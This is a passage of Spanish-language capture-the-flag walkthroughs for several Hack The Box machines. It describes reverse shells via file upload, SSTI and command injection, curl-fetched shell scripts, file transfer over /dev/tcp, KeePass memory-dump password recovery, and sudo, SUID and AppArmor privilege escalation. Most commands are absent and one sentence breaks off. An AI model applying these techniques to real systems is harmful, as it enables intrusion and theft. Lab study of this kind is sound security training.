Al analizar en profundidad la posible vulnerabilidad, nos encontramos con el siguiente CVE-2015-6967
.
La vulnerabilidad de carga de archivos sin restricciones en el complemento My Image en Nibbleblog anterior a 4.0.5 permite a los administradores remotos ejecutar código arbitrario cargando un archivo con una extensión ejecutable y luego accediendo a él mediante una solicitud directa al archivo en content/private/plugins/my_image/image.php.
Nos encontramos con el siguiente repositorio de GitHub que nos permite realizar la subida del archivo malicioso.
En nuestro directorio actual de trabajo, nos copiaremos el archivo php-reverse-shell.php
el cual modificaremos para indicarle nuestra dirección IP y puerto donde recibiremos la Reverse Shell.
Renombraremos el archivo mencionado, y ejecutaremos el exploit para subir el archivo malicioso al CMS.
Nos pondremos en escucha para recibir la Reverse Shell.
Seguidamente, realizaremos la petición por GET
del archivo malicioso subido al CMS para que sea ejecutado en el servidor.
Comprobamos que hemos ganado finalmente el acceso al equipo y podemos visualizar la flag de user.txt.
Revisaremos los grupos a los que formamos parte y si disponemos de algún privilegio de sudoers
. Nos encontramos que podemos ejecutar como sudo
sin proporcionar credenciales un script en Bash ubicado en /home/nibbler/personal/stuff/monitor.sh
.
Revisando el directorio personal del usuario nibbler
, nos encontramos con un archivo comprimido (personal.zip
) el cual al descomprimirlo se nos generan los directorios correspondientes y el script mencionado anteriormente.
Revisamos los permisos del archivo monitor.sh
el cual somos el propietario, y el contenido de este mismo.
Dado que somos el propietario de este script, lo que podemos realizar es modificarlo para que realice otra acción diferente a la que estaba pensada originalmente.
En nuestro caso, modificaremos el script para que convierta el binario /bin/bash
en SUID
. Le daremos los permisos correspondientes para que pueda ser ejecutado.
Ejecutaremos el script como usuario sudo
debido que disponemos de dicho privilegio. Al revisar los permisos del binario /bin/bash
, verificamos que se le han asignado correctamente los permisos de SUID
. Una vez teniendo el binario modificado, nos convertiremos en usuario root
y visualizaremos la flag de root.txt
Nunchucks
es una máquina sencilla que explora una inyección de plantilla del lado del servidor (SSTI) basada en NodeJS que conduce a un error de AppArmor que ignora el perfil de AppArmor del binario mientras ejecuta scripts que incluyen el contenido de la aplicación perfilada.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Nunchucks. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta unas páginas web de Nginx
y el servicio de SSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Realizamos una enumeración de directorios y páginas web que pudiera tener la página web, nos encontramos con el siguiente resultado.
Realizamos una enumeración de subdominios, entre los cuales logramos encontrar un nuevo subdominio llamado store.nunchucks.htb
.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Realizamos una enumeración de directorios y archivos a través de feroxbuster
y no logramos obtener algún directorio o archivo interesante.
Realizando diversas pruebas en la página web, el único campo que nos parece interesante es en el cual nos permite indicar nuestro correo electrónico y posteriormente en el output por parte del servidor se imprime el input introducido.
Con lo cual, nos abre la posibilidad de que quizás exista un Template Engine
y podamos intentar realizar un SSTI (Server Side Template Injection)
.
Revisaremos nuevamente las tecnologías de la página web, y comprobamos que utiliza Node.js
como lenguaje de programación.
Intentamos realizar una inyección de SSTI
básica, pero se nos indica que debemos introducir un correo válido.
Por lo tanto, para intentar eludir esta restricción, interceptaremos la solicitud con BurpSuite
. En la solicitud, verificamos que el input
y output
se encuentran en un formato JSON
Intentamos realizar la siguiente inyección básica de SSTI
para comprobar si era vulnerable. En la respuesta por parte del servidor, comprobamos que se ha interpretado la operación y nos ha aparecido el resultado de 7*7
, con lo cual todo parece indicar que podemos realizar el SSTI
correctamente.
En el siguiente blog, se nos mencionan diversas técnicas y payloads para identificar el tipo de Template Engine
que nos enfrentamos.
A través del siguiente polyglot payload
, intentaremos enumerar el tipo de Template Engine
. En este caso, solamente pudimos comprobar que se nos mostraba errores JSON
, con lo cual nos hace afirmar que detrás quizás esté Node.js
como se nos indicaba en el Wappalyzer
.
En caso de vulnerabilidad, se puede devolver un mensaje de error o el servidor puede generar una excepción. Esto se puede utilizar para identificar la vulnerabilidad y el motor de plantillas en uso.
Para identificar la vulnerabilidad, se puede seguir la siguiente lista de tareas pendientes:
Detectar dónde existe la inyección de plantillas Identificar el motor de plantillas y validar la vulnerabilidad.
Seguir los manuales del motor de plantillas específico.
Aprovechar la vulnerabilidad
Se puede utilizar la siguiente Cheat Sheet
para identificar el motor de plantillas en uso:
Realizando una búsqueda sobre Node.js SSTI
, nos encontramos con el siguiente blog en el cual mencionan la posibilidad de ejecutar comandos arbitrarios remotos a través de SSTI Node.js Nunjucks
.
Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub el cual mediante SSTI
en Node.js Nunjucks
, logra obtener un RCE
.
Inyectaremos el siguiente comando para que se nos muestre el contenido del/etc/passwd
. Al enviar la solicitud a través de BurpSuite
, en la respuesta del servidor se verifica el contenido del archivo del servidor. Con lo cual, queda confirmada la existencia de poder ejecutar comandos arbitrarios a través del SSTI Node.js
.
Por lo tanto, podemos intentar realizar la Reverse Shell para conectarnos al equipo de diferentes maneras. En nuestro caso, para no tener problemas con las '
, decidimos verificar si el binario de cURL
se encontraba disponible en el sistema objetivo.
A través de la siguiente inyección, se verificó que el binario cURL
se encontraba instalado en el equipo.
Por lo tanto, en nuestro equipo local crearemos un script sencillo en Bash
para que se ejecute la Reverse Shell, este script lo compartiremos a través de un servidor web.
Desde otra terminal, nos pondremos en escucha con nc
para recibir la conexión.
Ejecutaremos la siguiente inyección SSTI
para que realice un cURL
hacía nuestro script de la Reverse Shell y lo ejecute a través de una bash
.
Verificamos que finalmente logramos obtener el acceso correspondiente al sistema y visualizar la flag de user.txt.
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Revisaremos una comprobación de los grupos y de si disponemos de permisos de sudoers
. En este caso, no disponemos de grupos especiales y tampoco podemos comprobar los privilegios sudoers
debido que nos requiere proporcionar credenciales del usuario david
el cual de momento no disponemos.
Por otro lado, revisamos si había algún binario inusual con privilegios de SUID
, no logramos encontrar ninguno. Intentamos también verificar si disponíamos de alguna capabilitie
, en el resultado obtenido, nos encontramos la capabilitie /usr/bin/perl = cap_setuid+ep
, con la cual podríamos llegar a aprovecharnos para obtener acceso como root
.
Revisamos la ubicación del binario perl
, accedemos a su directorio y ejecutamos la sintaxis para poder abusar de esta capabilitie
, en el primer comando intentamos obtener una Bash
como root
pero no obtuvimos resultado ninguno.
Intentamos ejecutar el binario para obtener una shell como root, pero no conseguimos una sesión completamente privilegiada. Al ejecutar id
, vimos que el UID era root, pero el GID seguía siendo david, lo que impedía elevar nuestros privilegios.
Realizamos una enumeración con linpeas.sh
y nos encontramos que AppArmor
se encontraba habilitado en el sistema.
Por otro lado, también volvemos a verificar la existencia de la capabilitie
mencionada.
Al revisar la documentación sobre AppArmor
, encontramos información sobre su funcionamiento y la ubicación donde se definen las políticas y restricciones de los binarios. Al analizar /etc/apparmor.d/
, detectamos un perfil asociado a /usr/bin/perl
, lo que podría limitar su uso en la explotación.
Al revisar el perfil de AppArmor
en /etc/apparmor.d/usr.bin.perl
, observamos que /usr/bin/perl
tiene la capacidad setuid
, lo que le permite cambiar el UID del proceso. Sin embargo, existen restricciones clave que limitan su alcance:
Se deniega el acceso de escritura y ejecución a /root/*
y /etc/shadow
.
No se permite la lectura de /etc/nsswitch.conf
.
Se permite la ejecución controlada de algunos binarios como /usr/bin/id
, /usr/bin/ls
, /usr/bin/cat
y /usr/bin/whoami
.
Se restringe el acceso de /usr/bin/perl
a ciertos archivos críticos, pero se permite la lectura en /home/
y /home/david/
.
Estas reglas limitan el impacto de la capability setuid
, aunque aún es posible evaluar si existen formas de evasión para escalar privilegios.
Investigando en Internet, encontramos un blog donde explicaban cómo realizar un bypass de AppArmor
usando un script en Perl
. Siguiendo este método, creamos un script en /tmp/gzzcoo.pl
, le asignamos permisos de ejecución y lo ejecutamos.
Inicialmente, al ejecutar perl gzzcoo.pl
, el sistema devolvió un error de Permission denied. Sin embargo, al ejecutarlo directamente (./gzzcoo.pl
), logramos obtener una shell como root
y acceder a la flag root.txt.
Este comportamiento indica que AppArmor
restringe la ejecución de Perl
directamente, pero al ejecutar el script como binario, logramos evadir la restricción y escalar privilegios a root
.
Realizaremos un reconocimiento con Nmap
para ver los puertos que están expuestos en la máquina LinkVortex
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN
y oX
para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Nginx
y del servicio SSH
.
En el resultado obtenido, verificamos también en la página web está expuesto el archivo robots.txt
en el cual también nos presentan algunas rutas de directorios.
Procederemos a transformar el archivo generado targetedXML
para transformar el XML
en un archivo HTML
para posteriormente montar un servidor web y visualizarlo.
Procederemos a añadir la siguiente entrada en nuestro archivo /etc/hosts
.
A través de la herramienta whatweb
revisaremos las tecnologías que utiliza el sitio web.
Revisando las páginas que dispone el sitio web, verificamos que no logramos sacar ningún tipo de información relevante.
Tal como habíamos descubierto con el escaneo de Nmap
, el archivo robots.txt
se encuentra expuesto en el sitio web. En este archivo nos indican rutas de directorios que podemos investigar más adelante.
Revisaremos si el archivo sitemap.xml
se encuentra público, en este archivo se encuentran las rutas de directorios y páginas edl sitio web. No logramos sacar ningún tipo de información interesante.
Procederemos a realizar una enumeración de posibles subdominios del sitio web, en este caso, el resultado obtenido nos muestran que todos los resultados nos devuelven 230 Chars
, lo cual parece que no nos interese este resultado.
Volveremos a lanzar el fuzzing con wfuzz
evitando que nos muestren aquellos resultados que tengan 230 CH
, verificamos que logramos encontrar un subdominio llamado dev
.
Procederemos a añadir esta nueva entrada en nuestro archivo /etc/hosts
.
Procederemos a verificar el contenido del sitio web http://dev.linkvortex.htb y verificamos que nos encontramos con el siguiente resultado, aparentemente nada interesante.
A traves de la herramienta de dirsearch
, procederemos a realizar una enumeración de directorios. Una vez finalizado el resultado de la enumeración, nos encontramos con el siguiente resultado.
Al parecer, parece haber en el sitio web un directorio de un proyecto de Git.
Procederemos a descarganos todo el repositorio de /.git/
a través de la siguiente herramienta: GitHack
.
Al verificar el resultado obtenido, comprobamos que disponemos de 2 archivos Dockerfile.ghost
y authentication.test.js
.
Verificando el archivo JS
que parece ser un archivo de autenticaciones, probaremos de revisar el contenido y filtrar si hay algún campo donde almacene contraseñas. Verificamos que obtenemos el siguiente resultado.
Verificamos que hemos logrado el acceso a la página web correctamente con las credenciales del usuario admin
.
En el resultado obtenido de la enumeración de las tecnologías del sitio web, verificamos que el sitio web utilizaba un CMS de Ghost 5.58
.
Revisando posibles vulnerabilidades para esta versión, nos encontramos con el siguiente CVE-2023-40028
.
Las versiones afectadas de este paquete son vulnerables a la Lectura de Archivos Arbitrarias que permite a los usuarios autenticados subir archivos que son enlaces de symlinks. Esto se puede explotar para realizar una lectura arbitraria de cualquier archivo en el sistema operativo del host.
Procederemos a clonarnos el repositorio en nuestro equipo atacante.
Revisaremos el funcionamiento del exploit desde el mismo repositorio de GitHub.
Al verificar como funciona el exploit, procederemos a explotar la vulnerabilidad y verificamos que hemos logrado leer el archivo /etc/passwd
.
Teniendo en cuenta que podemos leer archivos locales del equipo víctima, después de revisar varios archivos típicos y no obtener ningún resultado esperado, volvimos al repositorio que nos descargamos de Git
.
En este repositorio no revisamos en su momento el archivo Dockerfile.ghost
. Verificamos que el contenido de este archivo indica que se ha realizado una copia de la configuración en la siguiente ruta /var/lib/ghost/config.production.json
.
Probaremos de listar el contenido de este archivo de configuración explotando el CVE que hemos encontrado. Verificamos que el archivo contiene las credenciales del usuario bob@linkvortex.htb
.
Procederemos a probar de conectarnos al equipo mediante SSH
, verificamos que hemos logrado el acceso y obtenemos la flag de user.txt.
Revisando si el usuario bob
dispone de algún permiso de sudoers
, verificamos que existe un binario inusual llamado /opt/ghost/clean_symlink.sh
.
Al revisar el contenido del script de Bash, verificamos que este script podría ser parte de un proceso automatizado para monitorear enlaces simbólicos y aislar aquellos que apuntan a ubicaciones sensibles como /etc
o /root
, asegurando así que solo archivos seguros se dejen pasar.
Sabiendo el comportamiento del script, lo que realizaremos es crear un enlace simbólico del archivo /root/root.txt
para un archivo gzzcoo.txt
Para obtener una shell como usuario root
lo que realizamos es el mismo proceso anterior pero a través de la clave privada SSH del usuario root
.
Guardamos el contenido de la clave en un fichero id_rsa
, le damos los permisos adecuados y al conectarnos como usuario root
, verificamos la flag de root.txt
Knife
es una máquina Linux de dificultad fácil que cuenta con una aplicación que se ejecuta en una versión de PHP con puerta trasera. Esta vulnerabilidad se aprovecha para obtener un punto de apoyo en el servidor. Luego se aprovecha una configuración incorrecta de sudo para obtener un shell de root.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Knife. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado comprobamos que se encuentran abiertos el servicio SSH y una página web de Apache
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Accederemos a http://10.10.10.242 y verificaremos que se trata de un Apache HTTP Server 2.4.41
que utiliza PHP 8.1.0
.
Realizamos una enumeración del sitio web en busca de subdominios, directorios, páginas sin éxito.
Probamos de buscar vulnerabilidades sobre la versión de PHP
que se encontraba instalada en el sitio web, nos logramos encontrar con el siguiente repositorio.
Nos clonaremos el repositorio de GitHub en nuestra máquina local.
Nos pondremos en escucha para recibir la Reverse Shell.
Ejecutaremos el exploit indicándole la página vulnerable y nuestra dirección y puerto donde estaremos escuchando para recibir la terminal.
Después de lanzar el ataque, logramos acceder al equipo víctima y visualizar la flag de user.txt.
Revisando si el usuario que disponíamos actualmente tenía algún permiso de sudoers, nos encontramos que podía ejecutar como sudo
el binario de knife
.
Revisando en GTFOBins
nos encontramos con la siguiente página en dónde nos explican como abusar de este binario en caso de disponer de permisos sudo
sobre él.
Realizamos la explotación comosudo
sobre el binario knife
y verificamos que logramos obtener una bash como usuario root
. Por otro lado, logramos también verificar cual es la flag de root.txt.
Mirai
demuestra uno de los vectores de ataque de más rápido crecimiento en los tiempos modernos: dispositivos IoT configurados incorrectamente. Este vector de ataque está en constante aumento a medida que se crean e implementan cada vez más dispositivos IoT en todo el mundo, y está siendo explotado activamente por una amplia variedad de botnets. Los dispositivos IoT internos también están siendo utilizados para la persistencia a largo plazo por actores maliciosos.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Mirai. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abiertos los siguientes servicios.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que utilizas los sitios web.
Realizaremos una enumeración de directorios y páginas web a través de dirsearch
en el cual obtuvimos el siguiente resultado.
Al volver a realizar la enumeración sobre el directorio /admin
, logramos encontrar más información que nos puede servir.
Accederemos a http://10.10.10.48 y nos encontramos que se trata de una interfaz administrativa de Pi-hole
.
Una vez identificado que la máquina probablemente sea una Raspberry
, el siguiente paso fue averiguar si el equipo tenía configurada las credenciales por defecto.
Al intentar acceder, verificamos que debido a una mala configuración, las credenciales no habían sido modificados, con lo cual conseguimos ganar acceso al sistema y visualizar la flag de user.txt.
Verificamos los privilegios sudoers
que dispone el usuariopi
. Logramos comprobar que podemos convertirnos en usuario root
proporcionado las credenciales del usuario actual.
Al intentar visualizar la flag de root.txt, se nos muestra un mensaje indicando que ha perdido el archivo root.txt
original, y que probablemente disponga de una copia de seguridad del archivo en el USB
.
El usuario indica que dispone de un USB conectado al equipo, revisando los directorios de la raíz, logramos visualizar el directorio media
en el cual probablemente se encuentre este USB montado.
Al revisar los archivos del directorio /media
, logramos visualizar un directorio llamado usbstick
el cual contiene un archivo damnit.txt
indicando que se ha eliminado accidentalmente el contenido del USB.
Para recuperar la flag, realizamos un escaneo directo del dispositivo de almacenamiento en busca de cadenas de 32 caracteres hexadecimales, ya que las flags en HTB siguen este formato. Finalmente logramos encontrar el contenido de la flag de root.txt.
-a: Trata el archivo binario como texto.
-P: Usa expresiones regulares avanzadas.
-o: Muestra solo las coincidencias.
'[a-fA-F0-9]{32}': Busca cadenas de 32 caracteres hexadecimales.
/dev/sdb: Dispositivo USB donde pudo estar almacenada la flag.
Al descubrir que la flag de root.txt
había sido eliminada, optamos por realizar un volcado forense del dispositivo /dev/sdb
para analizar su contenido en busca de datos recuperables. Para ello, utilizamos dd
junto con gzip
para transferir y comprimir la imagen del disco a nuestra máquina de ataque:
ssh pi@10.10.10.48: Nos conectamos a la máquina objetivo.
sudo dd if=/dev/sdb: Extraemos el contenido de la unidad USB (/dev/sdb
).
| gzip -1 -: Comprimimos los datos en tiempo real para agilizar la transferencia.
| dd of=usb.gz: Guardamos la imagen comprimida en nuestra máquina atacante.
Descomprimiremos la imagen a través del siguiente comando.
Una vez extraída, analizamos su contenido con strings
, entre los resultados, encontramos referencias a root.txt y una cadena en formato hexadecimal de 32 caracteres, lo que indica que la flag aún estaba en el disco. Este método nos permitió recuperar la flag eliminada sin necesidad de herramientas adicionales.
Keeper es una máquina Linux de nivel de dificultad fácil que cuenta con un sistema de tickets de soporte que utiliza credenciales predeterminadas. Al enumerar el servicio, podemos ver las credenciales de texto sin formato que conducen al acceso SSH. Con el acceso "SSH", podemos obtener acceso a un archivo de volcado de la base de datos de KeePass, que podemos aprovechar para recuperar la contraseña maestra. Con acceso a la base de datos "Keepass", podemos acceder a las claves "SSH" raíz, que se utilizan para obtener un shell privilegiado en el host.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Keeper. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abiertos el servicio SSH y una página web de Nginz
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos en nuestro archivo /etc/hosts
las entradas correspondientes.
Al realizar una búsqueda por Internet, nos encontramos cuales son las credenciales que utiliza esta aplicación por defecto.
Probamos de ingresar con las credenciales root/password
y verificamos que logramos acceder sin problemas al panel de administración.
Al navegar por las diferentes opciones del sitio web, nos encontramos con una página en donde aparecen usuarios. Probaremos de acceder al usuario llamado lnorgaard
.
Verificamos que en el usuario en la sección de comentarios nos aparecen unas credenciales por defecto, probaremos si aún siguen siendo válidas para este usuario.
Además, podemos comprobar que en el nombre real en la otra 'o' está puesta como otro carácter distinto. Por otro lado, en la sección de Extra info
también notamos lo mismo en algunos carácteres, parece que está en otro idioma.
Validaremos a través de nxc
si las credenciales son válidas para conectarnos mediante SSH, comprobamos que podemos acceder y visualizar la flag de user.txt.
Revisando el directorio en el que nos encontramos, visualizamos un archivo llamado RT30000.zip
.
Nos pasaremos este archivo a nuestro equipo local para trabajar con él y comprobar el contenido de este. Para ello, desde nuestro equipo de atacnate nos pondremos en escucha con nc
para recibir por el puerto 443
el archivo mencionado.
Desde el equipo víctima, enviaremos el contenido del .zip
realizando un cat
sobre el archivo y enviando el output
al /dev/tcp
de nuestra dirección y puerto donde estamos en escucha.
Verificaremos que hemos recibido correctamente el archivo original sin problemas. Descomprimiremos el archivo y visualiozaremos que nos encontramos con un archivo .DMP
que se trata de un Memory Dump
y también una base de datos de contraseñas de KeepPass.
Abriremos el archivo passcodes.kdbx
a través de keepassxc
para visualizarlo en entorno gráfico.
Verificamos que al acceder al archivo, nos pide credenciales de acceso y no podemos acceder a él sin proporcionarle ninguna.
Por lo tanto, lo que pensamos es en recuperar el hash de la contraseña del archivo a través de keepass2john
y posteriormente crackear el hash. En este caso, al parecer la contraseña no se encontraba dentro del diccionario del rockyou.txt
.
Revisamos el tipo de archivo que era, y nos percatamos que se trataba de un archivo de Keepass password database 2.x
.
Revisando posibiles vulnerabilidades sobre esta versión de KeePass, nos encontramos con el siguiente CVE-2023-32784
.
En KeePass v2.x anterior a v2.54, es posible recuperar la contraseña maestra en texto claro a partir de un volcado de memoria, incluso cuando un espacio de trabajo está bloqueado o ya no se ejecuta. El volcado de memoria puede ser un volcado de proceso de KeePass, un archivo de intercambio (pagefile.sys), un archivo de hibernación (hiberfil.sys) o un volcado de RAM de todo el sistema. El primer carácter no se puede recuperar. En la versión 2.54, hay un uso diferente de la API y/o inserción de una cadena aleatoria para la mitigación.
Nos descargamos el proyecto de GitHub para realizar la explotación de la vulnerabilidad, para verificar si funciona o no.
Al ejecutar el exploit pasándole el archivo KeePassDumpFull.dmp
que obtuvimos, nos encontramos que al parecer ha logrado obtener lo que parece ser la posible contraseña del archivo de KeePass.
En este caso, el resultado al parecer hay algunos carácteres que parecen no ser de UTF-8
y por dicho motivo el script no lo interpreta.
Al buscarpor internet, nos encontramos que el resultado obtenido en el paso anterior, parece ser que se trata del siguiente.
Probamos de acceder con lo que supuestamente parece ser la contraseña del KeePass pero tampoco logramos poder acceder a ella.
De casualidad, también probamos de revisar si poniendo la contaseña anterior en minúsculas nos funcionaría o no.
Con la contraseña en minúsculas, logramos obtener acceso a la base de datos de KeePass. En el archivo, nos encontramos que hay una clave privada de PuTTY del usuario root
y también una contraseña en texto plano.
Validaremos si la contraseña en texto plano sirve para el usuarioroot
. En este caso, las credenciales no son válidas.
Nos guardaremos en un archivo llamado private_key
el contenido de la clave privada de PuTTY
que nos encontramos en el KeePass. Revisando el tipo de archivo del que se trataba, nos encontramos que es un archivo PuTTY Private Key File V3
.
Dado que esta clave privada de PuTTY
no nos serviría para conectarnos al SSH
, lo que buscamos por Internet es maneras de convertir esta clave privada a una clave privada de SSH. Nos encontramos con el siguiebnte blog que nos mencionaba el proceso a realizar.
A través de puttygen
convertiremos la clave privada PPK
que disponemos en una clave privada SSH
(id_rsa). Una vez convertida, le daremos los permisos necesarios y verificaremos que se ha convertido correctamente.
Trataremos de acceder al SSH a través de esta clave privada del usuario root
y comprobamos que hemos podido conectarnos al equipo. También logramos visualizar la flag de root.txt.
Previse
es una máquina sencilla que muestra Ejecución después de redirección (EAR) que permite a los usuarios recuperar el contenido y realizar solicitudes a accounts.php
sin estar autenticado, lo que lleva a abusar de la función exec()
de PHP ya que las entradas del usuario no se desinfectan, lo que permite la ejecución remota de código contra el objetivo, después de obtener un privilegio de shell www-data, la escalada comienza con la recuperación y el descifrado de un hash MD5Crypt personalizado que consiste en una sal Unicode y una vez descifrado permite a los usuarios obtener acceso SSH al objetivo y luego abusar de un script ejecutable sudo que no incluye rutas absolutas de las funciones que utiliza, lo que permite a los usuarios realizar el secuestro de PATH en el objetivo para comprometer la máquina.
Realizaremos un reconocimiento con nmap
para ver los puertos que están expuestos en la máquina Previse
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
y el servicioSSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos a través de la herramienta de whatweb
un reconocimiento inicial de las tecnologías que utiliza la aplicación web.
Intentamos de acceder con credenciales básicas como admin/admin
pero se nos indica el mensaje de Invalid Username or Password
.
Interceptaremos la solicitud de una de las páginas PHP
obtenidas en la enumeración de directorios y páginas, una vez interceptado enviaremos la solicitud al Repeater
.
En un principio, esta página llamada accounts.php
aplicaba una redirección a login.php
, pero al enviar la solicitud en BurpSuite
en la respuesta por parte del servidor se comprueba el contenido de accounts.php
antes de realizar la redirección.
En el contenido HTML de la página web, se comprueba que la página web tramita una petición por POST
la creación de nuevas cuentas de usuario.
La vulnerabilidad mencionada anteriormente, es conocida como Execution After Redirect (EAR)
, ya que la página accounts.php
es mostrada al usuario cuando se realiza la redirección. Esta página no deberíamos disponer de acceso principalmente, pero por una mala configuración en la redirección hemos sido capaces de ver su contenido.
A continuación, se muestra el siguiente ejemplo de EAR
que nos indica OWASP
.
El código siguiente comprobará si el parámetro “loggedin” es verdadero. Si no lo es, utiliza JavaScript para redirigir al usuario a la página de inicio de sesión. Si se utiliza la sección “Cómo comprobar las vulnerabilidades de EAR” o se desactiva JavaScript en el navegador, se repite la misma solicitud sin seguir la redirección de JavaScript y se puede acceder a la sección “Administrador” sin autenticación.
Por defecto, BurpSuite
solamente intercepta las solicitud pero no las respuestas. Así que activaremos la siguiente opción para lograr también interceptar la respuesta.
Confirmamos también que en la respuesta nos aparece otro tipo de contenido y no el del login.php
, con lo cual confirmamos nuevamente la vulnerabilidad de EAR
.
Modificaremos el código de estado de la respuesta de 302 Found
a 200 OK
. Una vez modificado, le daremos a Forward
nuevamente para que la peti
Comprobamos en nuestro navegador que ha cargado correctamente la página, debido que la página se ejecuta y hemos logrado cambiarle el estado a 200 OK
.
Para no tener que modificar el 302 Found
por 200 OK
en cada solicitud que hagamos, lo que realizaremos es crear una regla en BurpSuite
que reemplace el Response header
y realice automáticamente el reemplazo.
Por lo tanto, podremos intentar comprobar las diferentes páginas web en la que se aplicaba esta redirección vulnerable.
accounts.php
status.php
index.php
download.php
logs.php
files.php
etc
Probaremos de crear un nuevo usuario llamado gzzcoo
.
Verificamos que al parecer se ha realizado correctamente el registro del nuevo usuario aprovechando la vulnerabilidad inicial del EAR
.
También podemos crear el usuario a través de BurpSuite
pasándole los parámetros y realizando la solicitud por el método POST
.
Dado que en un principio hemos logrado crear un nuevo usuario, probaremos de acceder con este mismo a la página web para verificar si disponemos de algún acceso a cierto contenido.
Revisando las diferentes secciones de la página web, nos encontramos en la página llamada files.php
que contiene un archivo subido llamado SITEBACKUP.ZIP
. Nos lo descargaremos a través de su enlace.
Revisaremos que se ha descargado correctamente el archivo comprimido, el cual posteriormente descomprimiremos. En el resultado obtenido, comprobamos que al parecer se trata de una copia de seguridad de la aplicación web. Revisaremos las diferentes páginas PHP
en busca de credenciales, etc.
Entre los archivos que logramos comprobar su contenido, nos encontramos con config.php
el cual contiene las credenciales en texto plano del usuario para acceder a la base de datos MySQL
.
Por otro lado, nos encontramos con el siguiente archivo logs.php
el cual nos llamada bastante la atención debido al comentario que ha indicado el desarrollador de la aplicación web y de la manera en que se está empleando la función exec
.
Esta función exec
realiza la ejecución de un script de Python ubicado en /opt/scripts/log_process.py
y recibe un valor por POST
de una variable llamada delim
. Lo grave de estepunto es que esta función exec
no está realizando ningún tipo de sanitización ni validación del contenido, con lo cual podríamos llegar a intentar realizar un Command Injection
.
comma
space
tab
Le daremos a SUBMIT
e interceptaremos la solicitud con BurpSuite
, comprobamos que la petición delexport
de los logs se realiza sobre logs.php
y en la respuesta por parte del servidor se muestra el output
dependiendo del limitador seleccionado.
Tal y como hemos mencionado anteriormente, en la página logs.php
comprobamos que lo que se ejecutaba por detrás era la siguiente ejecución de código a través de la función exec
de PHP
. Pero esta ejecución no era validada ni sanitizada en ninguna parte del código.
En el primer ejemplo, se muestra como espera el valor de delim
en el archivo logs.php
para ejecutar el script, pero debido que no se sanitiza, una atacante podría llegar a ejecutar otro comando a través de ;
logrando ejecutar ambos comandos y obtener un Command Injection
.
Para confirmar la vulnerabilidad de Command Injection
que hemos pensado, lo que realizaremos es levantar un servidor web para ver si logramos recibir una petición por el método GET
de la solicitud que intentará realizar la máquina víctima hacia nuestro servidor a un recurso inexistente.
Realizaremos la siguiente inyección de código para que se ejecute el cURL
hacia un recurso inexistente de nuestro servidor web que hemos levantado.
Comprobamos que en nuestro servidor web, hemos logrado obtener la petición por GET
desde la máquina víctima al recurso inexistente. Con lo cual, queda confirmada la existencia de la vulnerabilidad de Command Injection
presente en la aplicación web.
El siguiente paso será lograr obtener acceso al sistema. Para ello, crearemos un script en Bash
llamado shell.sh
que contendrá la Reverse Shell. Este script lo compartiremos a través de un servidor web.
En otra terminal, nos pondremos en escucha para recibir la Reverse Shell.
Realizaremos la siguiente ejecución de código para que realice un cURL
hacía nuestro script y se ejecute en una bash
.
Verificamos que logramos obtener acceso al sistema y nos encontramos como el usuario www-data
.
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Volviendo a revisar el directorio donde nos encontramos, volvemos a encontrar el archivo config.php
el cual contiene de las credenciales de acceso al MySQL
.
Nos conectaremos al MySQL
con las credenciales encontradas y utilizaremos la base de datos previse
que se mencionaba en el archivo de configuración.
Enumerando la base de datos, nos encontramos con una tabla llamada accounts
la cual revisando el contenido de dicha tabla, logramos encontrar la contraseña hasheada del usuario m4lwhere
.
Intentaremos crackear el hash obtenido anteriormente, después de un tiempo logramos crackear el hash obtenido con hashcat
.
Nos conectamos mediante SSH
a través del usuario m4lwhere
y las credenciales obtenidas en el punto anterior. Finalmente, accedemos al equipo y comprobamos la flag user.txt.
Revisando si el usuario m4lwhere
dispone de algun permiso de sudoers
, nos encontramos que puede ejecutar como el usuario root
un script ubicado en /opt/scripts/access_backup.sh
.
Este script tiene como objetivo comprimir archivos de registro de acceso de Apache y otros registros de acceso a archivos y almacenarlos como copias de seguridad en un directorio específico (/var/backups/
). Utiliza gzip
para comprimir los archivos de log y les da un nombre basado en la fecha de ayer. El script también está configurado para ejecutarse con cron y tiene permisos de sudo
